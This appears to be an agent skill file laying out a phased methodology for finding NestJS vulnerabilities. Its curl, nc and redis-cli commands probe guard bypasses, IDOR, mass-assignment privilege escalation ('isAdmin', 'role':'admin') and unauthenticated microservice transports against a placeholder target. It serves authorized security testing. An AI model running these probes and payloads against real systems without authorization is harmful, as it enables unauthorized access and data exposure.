| name | hunt-nestjs |
| description | Hunt NestJS-specific vulnerabilities: guard bypass, decorator gaps, and microservice auth drift. |
NestJS Security Hunting
Hunt NestJS-specific vulnerabilities in guard bypass via decorator stack gaps, Reflector metadata mismatches between global/controller/method guards, ValidationPipe whitelist and transform exploits, and microservice transport authentication drift. NestJS's architectural patterns — decorators, dependency injection, module system, multi-transport support — create unique attack surface across HTTP, WebSocket, and RPC transports.
When to Use
- Target uses NestJS (indicated by
x-powered-by: NestJS or TypeScript decorator patterns in error messages).
- GraphQL endpoints exist alongside REST API.
- Microservice transports (TCP, Redis, NATS, MQTT, gRPC) are configured.
- Swagger/OpenAPI docs are exposed at
/api or /api-json.
- CRUD endpoints follow predictable NestJS naming conventions.
Quick Detection
curl -skI "https://target.com/api" | grep -iE "x-powered-by|server"
curl -sk "https://target.com/api" -w "%{http_code}\n" -o /dev/null
curl -sk "https://target.com/api-json" | jq '.paths | keys[]' 2>/dev/null
Procedure
Phase 1 — Guard Bypass via Decorator Stack Gaps
for method in GET POST PUT PATCH DELETE OPTIONS; do
curl -sk -X "$method" "https://target.com/api/admin/users" \
-w "$method — %{http_code}\n" -o /dev/null
done
curl -sk "https://target.com/api/admin/health"
curl -sk "https://target.com/api/admin/config"
Phase 2 — Reflector Metadata Mismatches
curl -sk "https://target.com/api/users" -H "Authorization: Bearer TOKEN" \
-w "GET users — %{http_code}\n" -o /dev/null
curl -sk -X DELETE "https://target.com/api/users/1" -H "Authorization: Bearer TOKEN" \
-w "DELETE user — %{http_code}\n" -o /dev/null
curl -sk "https://target.com/api/users?userId=VICTIM_ID" \
-H "Authorization: Bearer TOKEN" \
-w "param decorator — %{http_code}\n" -o /dev/null
Phase 3 — ValidationPipe Exploitation
curl -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","isAdmin":true}'
curl -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","isActive":"true"}'
curl -sk -X PATCH "https://target.com/api/users/me" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}'
Phase 4 — Serialization Leaks
curl -sk "https://target.com/api/users/1" | jq 'keys' 2>/dev/null
Phase 5 — Microservice Transport Auth Drift
echo '{"pattern":"getUser","data":{"id":1}}' | nc target.com 3000
redis-cli -h target.com PUBLISH "get_user" '{"id":1}'
grpcurl -plaintext target.com:5000 list
Phase 6 — Module Boundary Leaks
curl -sk "https://target.com/api/users"
curl -sk "https://target.com/api/users/1"
curl -sk -X POST "https://target.com/api/users"
curl -sk -X PATCH "https://target.com/api/users/1"
curl -sk -X DELETE "https://target.com/api/users/1"
Pitfalls
- NestJS Swagger module may expose all endpoints regardless of auth. Always check
/api-json for hidden endpoints.
@Public() decorator is framework-specific (not built into NestJS). Different projects use @SkipAuth(), @NoAuth(), or @AllowAnonymous().
- Microservice transports often run on internal ports. Test from within the target network if possible.
@Res({ passthrough: true }) bypasses the standard response pipeline. Response headers and status codes can be injected.
Verification
- An endpoint with
@UseGuards(AuthGuard) at controller level accepts requests at method level without auth.
- Serializer interceptor absence reveals internal fields (password hash, internal notes, tokens).
- Microservice handler processes requests without any authentication while HTTP equivalent requires JWT.
- CRUD auto-endpoints expose create/update/delete operations without explicit authorization.
Related Skills
hunt-graphql — NestJS GraphQL endpoints with @nestjs/graphql decorators.
hunt-api-misconfig — Broader API misconfigurations including guard and pipe gaps.
hunt-idor — Object-level authorization through NestJS parameter decorators.
hunt-write-gap — NestJS PATCH endpoints that accept writes without read authorization.